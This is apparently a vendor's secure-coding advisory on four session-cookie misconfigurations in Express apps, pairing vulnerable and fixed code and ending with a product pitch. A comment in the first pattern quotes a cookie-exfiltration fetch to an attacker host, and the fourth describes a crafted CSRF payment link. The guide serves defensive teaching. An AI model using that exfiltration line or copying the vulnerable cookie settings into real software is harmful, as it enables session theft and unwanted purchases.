Claude MCP skill cookie theft and session riding via subdomain cookie scope misconfiguration — SA-SKL-AUTH6
Session cookies are the most sensitive artifact in a web authentication system. Setting one incorrectly — wrong scope, missing security prefix flags, wrong SameSite policy — either exposes the cookie to unintended origins, silently drops it so users cannot log in, or allows cross-site requests to ride the session. MCP skill dashboards commonly handle payment confirmation, audit report access, and team member management, all of which are high-value targets for CSRF and session riding. Four SA-SKL-AUTH6 patterns cover the cookie misconfiguration classes most commonly found in MCP skill infrastructure, with subdomain takeover cookie theft, cookie prefix enforcement failures, and SameSite-Lax GET-navigation CSRF variants.
Domain=.skillaudit.dev; wildcard subdomain scope means any subdomain takeover (dangling CNAME to stale S3 bucket, stale Heroku app, or similar) can read the session cookie; attacker takes over docs.skillaudit.dev via stale S3 CNAME, creates a page that reads document.cookie, and exfiltrates all sessions to their collector__Secure- prefix cookie set without the Secure flag; modern browsers require Secure when the name starts with __Secure-, but some older browsers and curl-based API clients accept it on HTTP; attacker intercepts session cookie on HTTP connection (misconfigured Caddy redirect) and uses it on HTTPS__Host- prefix cookie set with a Domain attribute present; the browser spec requires __Host- cookies to have no Domain attribute and Path=/; browsers silently reject the cookie, users are logged out on every request, support tickets pile up — real security regression disguised as a session bugSameSite=Lax; payment confirmation form uses a GET request with query parameters; attacker crafts a link to https://skillaudit.dev/api/checkout/confirm?plan=team&token=abc that victim clicks from an attacker-controlled page; browser sends the session cookie with the top-level GET navigation and completes the purchaseAUTH6-001 — Domain=.skillaudit.dev enables subdomain-takeover cookie theft
When a session cookie is set with Domain=.skillaudit.dev (note the leading dot), the cookie is sent to every subdomain of skillaudit.dev — not just the app itself. This becomes catastrophic when any subdomain is taken over by an attacker. Subdomain takeovers happen when a CNAME DNS record points to an external service (S3 static site, Heroku app, GitHub Pages, Vercel deployment) that the organization no longer controls. The attacker claims the external service endpoint, creates a page that reads document.cookie, and every user who visits a link to that subdomain — or is redirected there — loses their session token.
// VULNERABLE — AUTH6-001
// Session cookie set with Domain=.skillaudit.dev (leading dot = all subdomains).
// If docs.skillaudit.dev CNAME points to a stale S3 bucket the attacker can claim,
// they can serve a page that runs: fetch('https://attacker.com/?c='+document.cookie)
app.post('/api/auth/login', async (req, res) => {
const session = await createSession(req.body);
res.cookie('session', session.token, {
httpOnly: true,
secure: true,
domain: '.skillaudit.dev', // VULNERABLE: wildcard subdomain scope
sameSite: 'Lax',
maxAge: 7 * 24 * 60 * 60 * 1000,
});
res.json({ ok: true });
});
// FIXED — AUTH6-001
// Option A: Remove Domain entirely — cookie scoped to exact host only (app.skillaudit.dev).
// Option B: Use __Host- prefix which enforces no Domain attribute and Path=/ by spec.
// Option A shown below:
app.post('/api/auth/login', async (req, res) => {
const session = await createSession(req.body);
res.cookie('session', session.token, {
httpOnly: true,
secure: true,
// FIX: no Domain attribute — cookie is scoped to the exact host that set it.
// Browser will only send it to app.skillaudit.dev, not *.skillaudit.dev.
sameSite: 'Strict', // FIX: upgrade to Strict for session cookies
maxAge: 7 * 24 * 60 * 60 * 1000,
});
res.json({ ok: true });
});
// Also run quarterly: audit all CNAME records in your DNS zone for stale targets.
// Tools: subjack, can-i-take-over-xyz, dnstwist for subdomain enumeration.
Subdomain inventory: SkillAudit's infrastructure scan enumerates your DNS zone for CNAME records pointing to external services and checks whether the pointed-to endpoint is claimable. It also checks all set-cookie headers for Domain=. patterns that expose cookies to wildcard scope.
AUTH6-002 — __Secure- prefix cookie set without Secure flag
The __Secure- cookie name prefix was introduced in RFC 6265bis to allow servers to signal that a cookie must only be sent over HTTPS connections. Browsers enforce this: a cookie named __Secure-session must have the Secure attribute set, or the browser will reject it. However, the rejection is silent — no error is thrown. Some developers add the __Secure- prefix thinking it automatically enforces HTTPS transmission, not realizing the prefix is meaningless without the matching Secure attribute. If a request arrives over HTTP (e.g., during a misconfigured HTTP→HTTPS redirect window), the cookie can be intercepted in plaintext.
// VULNERABLE — AUTH6-002
// __Secure- prefix is used but Secure attribute is omitted.
// Modern browsers will reject this cookie silently.
// Older API clients (curl, some mobile SDKs) accept it without Secure enforcement.
// If HTTP is not fully redirected to HTTPS, the cookie can be transmitted in plaintext.
res.cookie('__Secure-session', sessionToken, {
httpOnly: true,
// VULNERABLE: Secure flag is missing — __Secure- prefix is not enforced
sameSite: 'Lax',
path: '/',
maxAge: 86400000,
});
// FIXED — AUTH6-002
// Always include Secure when using __Secure- prefix.
// Use __Host- prefix instead if you want the strongest browser enforcement:
// - Requires Secure
// - Requires no Domain attribute
// - Requires Path=/
// This is the most restrictive and recommended for session tokens.
// Option A: __Secure- prefix with Secure flag (minimum requirement)
res.cookie('__Secure-session', sessionToken, {
httpOnly: true,
secure: true, // FIX: required for __Secure- prefix to be valid
sameSite: 'Strict',
path: '/',
maxAge: 86400000,
});
// Option B: __Host- prefix (strongest enforcement — recommended)
// Requires: Secure=true, no Domain, Path='/'
res.cookie('__Host-session', sessionToken, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
path: '/', // __Host- requires Path=/
// No domain attribute — __Host- rejects any Domain value
maxAge: 86400000,
});
AUTH6-003 — __Host- prefix with Domain attribute silently drops cookie
The __Host- prefix has three requirements enforced by browsers: the cookie must have the Secure attribute, it must have Path=/, and it must NOT have a Domain attribute. If any of these conditions are violated, the browser silently rejects the cookie — it is not stored and not sent on subsequent requests. This manifests as users being logged out immediately after login, or as intermittent authentication failures. It is a security regression because it was introduced as a tighter session cookie but now silently fails. It is especially confusing to debug because the Set-Cookie response header looks correct in DevTools but the cookie simply never appears in the cookie jar.
// VULNERABLE — AUTH6-003
// __Host- prefix cookie with Domain attribute present.
// Browsers SILENTLY REJECT this cookie — it is never stored.
// Users appear logged out after every login. Support tickets pile up.
// The Set-Cookie header looks correct in DevTools network tab.
res.cookie('__Host-session', sessionToken, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
path: '/',
domain: 'skillaudit.dev', // VULNERABLE: __Host- cookies MUST NOT have Domain
maxAge: 86400000,
});
// FIXED — AUTH6-003
// Remove the Domain attribute entirely for __Host- prefix cookies.
// Also verify: Secure must be true, Path must be exactly '/'.
// This is the correct __Host- implementation — maximum cookie security.
res.cookie('__Host-session', sessionToken, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
path: '/',
// FIX: Domain attribute removed — required for __Host- to be accepted by browsers
// Cookie will only be sent to the exact host that set it (not subdomains)
maxAge: 86400000,
});
// Test your cookie implementation with:
// curl -v https://skillaudit.dev/api/auth/login -d '{"email":"test@example.com","password":"test"}'
// Look for Set-Cookie in response — verify no Domain= in the __Host- cookie line.
// Then: curl -v https://skillaudit.dev/api/me --cookie "__Host-session=TOKEN"
// Should return 200 with user data if the cookie was accepted.
AUTH6-004 — SameSite=Lax GET navigation CSRF on payment confirmation
SameSite=Lax was designed as a CSRF protection that is permissive enough for normal browsing — it allows the cookie to be sent on top-level navigations (clicks on links, form GET submissions) from other sites, but blocks cross-site POST requests. This makes it suitable for session cookies that need to work across OAuth redirects. However, Lax is not sufficient for state-changing endpoints that use GET requests. Payment confirmation flows that accept all parameters via URL query string — a common pattern when integrating with payment providers that redirect back to a confirmation URL — are fully exploitable under SameSite=Lax because the user clicking a link from an attacker-controlled page triggers a top-level GET navigation, which the browser allows to include the session cookie.
// VULNERABLE — AUTH6-004
// Payment confirmation via GET + SameSite=Lax session cookie.
// User is redirected from Stripe back to: /api/checkout/confirm?session_id=cs_abc123
// Attacker constructs: https://skillaudit.dev/api/checkout/confirm?session_id=cs_ATTACKER
// User clicks link from attacker site — browser sends session cookie (Lax allows GET nav).
// Server confirms the checkout using the session_id from the URL with the user's auth.
res.cookie('session', sessionToken, {
httpOnly: true,
secure: true,
sameSite: 'Lax', // VULNERABLE for GET-based state-changing endpoints
maxAge: 86400000,
});
// Server endpoint:
app.get('/api/checkout/confirm', requireAuth, async (req, res) => {
const { session_id } = req.query;
// VULNERABLE: attacker can supply their own session_id to cause the authenticated
// user to confirm a different checkout session (e.g., a subscription upgrade)
await stripe.checkout.sessions.confirmPayment(session_id, req.user.id);
res.redirect('/dashboard?upgraded=true');
});
// FIXED — AUTH6-004
// Fix 1: Use SameSite=Strict for session cookies that protect financial operations.
// Strict blocks ALL cross-site requests including GET navigations.
// Fix 2: If you must use Lax (OAuth redirects require it), validate that the
// checkout session_id belongs to the authenticated user before acting on it.
// Fix 3: State-changing operations should use POST, not GET.
// Fix 1: Upgrade to SameSite=Strict
res.cookie('session', sessionToken, {
httpOnly: true,
secure: true,
sameSite: 'Strict', // FIX: blocks all cross-site requests including GET navigations
maxAge: 86400000,
});
// Fix 2: Validate session_id ownership even if using Lax
app.post('/api/checkout/confirm', requireAuth, async (req, res) => {
const { session_id } = req.body; // FIX: use POST body, not query params
// FIX: verify the checkout session belongs to this authenticated user
const checkoutSession = await stripe.checkout.sessions.retrieve(session_id);
if (checkoutSession.metadata.userId !== req.user.id) {
return res.status(403).json({ error: 'Session mismatch' });
}
await confirmUpgrade(req.user.id, checkoutSession);
res.json({ ok: true });
});
Cookie security checklist for MCP skill session tokens: (1) No Domain attribute, or exact subdomain — never Domain=.yourdomain.com. (2) Use __Host- prefix for maximum browser enforcement. (3) Always include Secure attribute. (4) Use SameSite=Strict for session cookies — only drop to Lax if OAuth redirects require it, and add server-side ownership validation. (5) Set HttpOnly to prevent JavaScript access. (6) Audit all CNAME records quarterly for stale subdomain takeover candidates.
Summary — SA-SKL-AUTH6 at a glance
| Pattern | Root cause | Fix | Severity |
|---|---|---|---|
| AUTH6-001 | Domain=.skillaudit.dev exposes cookie to all subdomains; subdomain takeover via stale CNAME reads sessions | Remove Domain attribute; scope cookie to exact host; use __Host- prefix | Critical |
| AUTH6-002 | __Secure- prefix without Secure attribute; cookies transmitted on HTTP where interception is possible | Always include Secure: true when using __Secure- prefix; prefer __Host- | High |
| AUTH6-003 | __Host- prefix with Domain attribute; browsers silently reject the cookie; users perpetually logged out | Remove Domain attribute from __Host- cookies entirely | High |
| AUTH6-004 | SameSite=Lax allows cross-site GET navigation; payment confirmation via GET query param is CSRF-able | Use SameSite=Strict; move state changes to POST; validate resource ownership server-side | High |
Are your MCP skill session cookies set correctly?
SkillAudit scans for cookie prefix misconfigurations, wildcard domain scope, missing Secure flags, and SameSite CSRF exposure in your Node.js and Express cookie-setting code — before an attacker finds a stale subdomain CNAME.
Audit your MCP skill →